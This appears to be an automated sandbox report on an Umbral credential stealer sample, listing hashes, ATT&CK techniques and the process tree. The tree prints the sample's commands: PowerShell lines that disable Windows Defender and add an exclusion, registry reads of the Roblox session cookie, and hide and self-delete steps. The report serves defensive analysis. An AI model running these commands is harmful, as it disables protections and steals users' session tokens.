umbral | b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 02:59

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General

Target

b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe
Size

231KB
MD5

2a9d5da0bb69d53e1b68178bc63e9390
SHA1

b1170f7ca36ea613188a272dc8ff8720a586de3a
SHA256

b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902
SHA512

372288f96c8d39cba9529e7c44ce4b083eddf50dc3c3317b7b97c02d07018cdc2e0913da3e8309d548f80d68c95b9dd65e4febd4d7ca3b4d6a8df3360cf6aca3
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4ZvHYe5xypXKYZd8ZC6lY8e1mGi:joZtL+EP8pHYe5xypXKYZd8dk2

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1080-1-0x0000000001320000-0x0000000001360000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1992	powershell.exe
2872	powershell.exe
1608	powershell.exe
1112	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe

Deletes itself 1 IoCs

pid	Process
2052	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2052	cmd.exe
2116	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
940	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2116	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe
1112	powershell.exe
2872	powershell.exe
1608	powershell.exe
2528	powershell.exe
1992	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe
Token: SeIncreaseQuotaPrivilege	2376	wmic.exe
Token: SeSecurityPrivilege	2376	wmic.exe
Token: SeTakeOwnershipPrivilege	2376	wmic.exe
Token: SeLoadDriverPrivilege	2376	wmic.exe
Token: SeSystemProfilePrivilege	2376	wmic.exe
Token: SeSystemtimePrivilege	2376	wmic.exe
Token: SeProfSingleProcessPrivilege	2376	wmic.exe
Token: SeIncBasePriorityPrivilege	2376	wmic.exe
Token: SeCreatePagefilePrivilege	2376	wmic.exe
Token: SeBackupPrivilege	2376	wmic.exe
Token: SeRestorePrivilege	2376	wmic.exe
Token: SeShutdownPrivilege	2376	wmic.exe
Token: SeDebugPrivilege	2376	wmic.exe
Token: SeSystemEnvironmentPrivilege	2376	wmic.exe
Token: SeRemoteShutdownPrivilege	2376	wmic.exe
Token: SeUndockPrivilege	2376	wmic.exe
Token: SeManageVolumePrivilege	2376	wmic.exe
Token: 33	2376	wmic.exe
Token: 34	2376	wmic.exe
Token: 35	2376	wmic.exe
Token: SeIncreaseQuotaPrivilege	2376	wmic.exe
Token: SeSecurityPrivilege	2376	wmic.exe
Token: SeTakeOwnershipPrivilege	2376	wmic.exe
Token: SeLoadDriverPrivilege	2376	wmic.exe
Token: SeSystemProfilePrivilege	2376	wmic.exe
Token: SeSystemtimePrivilege	2376	wmic.exe
Token: SeProfSingleProcessPrivilege	2376	wmic.exe
Token: SeIncBasePriorityPrivilege	2376	wmic.exe
Token: SeCreatePagefilePrivilege	2376	wmic.exe
Token: SeBackupPrivilege	2376	wmic.exe
Token: SeRestorePrivilege	2376	wmic.exe
Token: SeShutdownPrivilege	2376	wmic.exe
Token: SeDebugPrivilege	2376	wmic.exe
Token: SeSystemEnvironmentPrivilege	2376	wmic.exe
Token: SeRemoteShutdownPrivilege	2376	wmic.exe
Token: SeUndockPrivilege	2376	wmic.exe
Token: SeManageVolumePrivilege	2376	wmic.exe
Token: 33	2376	wmic.exe
Token: 34	2376	wmic.exe
Token: 35	2376	wmic.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeIncreaseQuotaPrivilege	2724	wmic.exe
Token: SeSecurityPrivilege	2724	wmic.exe
Token: SeTakeOwnershipPrivilege	2724	wmic.exe
Token: SeLoadDriverPrivilege	2724	wmic.exe
Token: SeSystemProfilePrivilege	2724	wmic.exe
Token: SeSystemtimePrivilege	2724	wmic.exe
Token: SeProfSingleProcessPrivilege	2724	wmic.exe
Token: SeIncBasePriorityPrivilege	2724	wmic.exe
Token: SeCreatePagefilePrivilege	2724	wmic.exe
Token: SeBackupPrivilege	2724	wmic.exe
Token: SeRestorePrivilege	2724	wmic.exe
Token: SeShutdownPrivilege	2724	wmic.exe
Token: SeDebugPrivilege	2724	wmic.exe
Token: SeSystemEnvironmentPrivilege	2724	wmic.exe
Token: SeRemoteShutdownPrivilege	2724	wmic.exe
Token: SeUndockPrivilege	2724	wmic.exe
Token: SeManageVolumePrivilege	2724	wmic.exe
Token: 33	2724	wmic.exe
Token: 34	2724	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 2376	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	30
PID 1080 wrote to memory of 2376	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	30
PID 1080 wrote to memory of 2376	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	30
PID 1080 wrote to memory of 2808	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	33
PID 1080 wrote to memory of 2808	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	33
PID 1080 wrote to memory of 2808	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	33
PID 1080 wrote to memory of 1112	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	35
PID 1080 wrote to memory of 1112	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	35
PID 1080 wrote to memory of 1112	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	35
PID 1080 wrote to memory of 2872	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	37
PID 1080 wrote to memory of 2872	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	37
PID 1080 wrote to memory of 2872	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	37
PID 1080 wrote to memory of 1608	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	39
PID 1080 wrote to memory of 1608	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	39
PID 1080 wrote to memory of 1608	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	39
PID 1080 wrote to memory of 2528	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	41
PID 1080 wrote to memory of 2528	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	41
PID 1080 wrote to memory of 2528	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	41
PID 1080 wrote to memory of 2724	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	43
PID 1080 wrote to memory of 2724	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	43
PID 1080 wrote to memory of 2724	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	43
PID 1080 wrote to memory of 2992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	45
PID 1080 wrote to memory of 2992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	45
PID 1080 wrote to memory of 2992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	45
PID 1080 wrote to memory of 3032	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	47
PID 1080 wrote to memory of 3032	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	47
PID 1080 wrote to memory of 3032	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	47
PID 1080 wrote to memory of 1992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	49
PID 1080 wrote to memory of 1992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	49
PID 1080 wrote to memory of 1992	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	49
PID 1080 wrote to memory of 940	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	51
PID 1080 wrote to memory of 940	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	51
PID 1080 wrote to memory of 940	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	51
PID 1080 wrote to memory of 2052	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	53
PID 1080 wrote to memory of 2052	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	53
PID 1080 wrote to memory of 2052	1080	b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe	53
PID 2052 wrote to memory of 2116	2052	cmd.exe	55
PID 2052 wrote to memory of 2116	2052	cmd.exe	55
PID 2052 wrote to memory of 2116	2052	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2808	attrib.exe

C:\Users\Admin\AppData\Local\Temp\b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe
"C:\Users\Admin\AppData\Local\Temp\b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2376
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe"
  2⤵
  - Views/modifies file attributes
  PID:2808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:2992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1992
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:940
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\b575e722311556b67bc4f2ff77470063e5453e8f9952ddcd33afec9bdefc3902.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2052
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2116

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3fb487bf6195fcf98246fd266ea4a895

SHA1
0a3de8718a9b18373f17e33a2a99785d858f4696

SHA256
c426939bd3518e243924dcd0efc06ec0063924e98c3eb7e9971d8845fe0f79fb

SHA512
f0763ff4c859f33a0749759cf9fe878bb9f0f569bdd32fe9121e87063879ea4e21eea86ca48fe8efb9598bf4ba8dac0af1f2c7e9a0301214f6bef515bb49cbb2

Download Submit
memory/1080-0-0x000007FEF5743000-0x000007FEF5744000-memory.dmp

Filesize
4KB

Download
memory/1080-1-0x0000000001320000-0x0000000001360000-memory.dmp

Filesize
256KB

Download
memory/1080-2-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

Filesize
9.9MB

Download
memory/1080-48-0x000007FEF5740000-0x000007FEF612C000-memory.dmp

Filesize
9.9MB

Download
memory/1112-7-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/1112-8-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/1992-43-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/1992-44-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2872-14-0x000000001B730000-0x000000001BA12000-memory.dmp

Filesize
2.9MB

Download
memory/2872-15-0x0000000001E10000-0x0000000001E18000-memory.dmp

Filesize
32KB

Download